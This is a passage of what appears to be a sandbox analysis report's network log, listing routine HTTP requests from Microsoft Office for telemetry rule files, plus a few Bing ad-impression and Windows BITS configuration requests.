Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8l4hN_N0Wb8seVdwLNNPd1DVUCUwqj70qyHFI7P3OBCXEc7RtOB4JOfmvBBK6hEgWRzh_gDME28_SkQoGFt92786GHy36KQAqNtaNJVMiOpU0jvr3waDV5aYaI3XuRQf0yY-dRxO4xTPf4p3h-tprx3LAGgEKmJlZjB9iVpyG8nFeLX6R%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmd2luZG93cyUyZmNvcGlsb3QtcGx1cy1wY3MlM2ZvY2lkJTNkY21tcmI5dno5MXQlMjZmb3JtJTNkTTUwMDZY%26rlid%3D87d687d7864111e419e7e0fdf1662d55&TIME=20241105T195128Z&CID=531167623&EID=531167623&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=2e10317e67324bc88fa20f1e386a192d&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241105T195128Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=294D8EBF418C60A7155B9B9140A961F4
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8l4hN_N0Wb8seVdwLNNPd1DVUCUwqj70qyHFI7P3OBCXEc7RtOB4JOfmvBBK6hEgWRzh_gDME28_SkQoGFt92786GHy36KQAqNtaNJVMiOpU0jvr3waDV5aYaI3XuRQf0yY-dRxO4xTPf4p3h-tprx3LAGgEKmJlZjB9iVpyG8nFeLX6R%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmd2luZG93cyUyZmNvcGlsb3QtcGx1cy1wY3MlM2ZvY2lkJTNkY21tcmI5dno5MXQlMjZmb3JtJTNkTTUwMDZY%26rlid%3D87d687d7864111e419e7e0fdf1662d55&TIME=20241105T195128Z&CID=531167623&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=294D8EBF418C60A7155B9B9140A961F4; _EDGE_S=SID=0F0E7A26D51B6519172F6F08D490642D; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
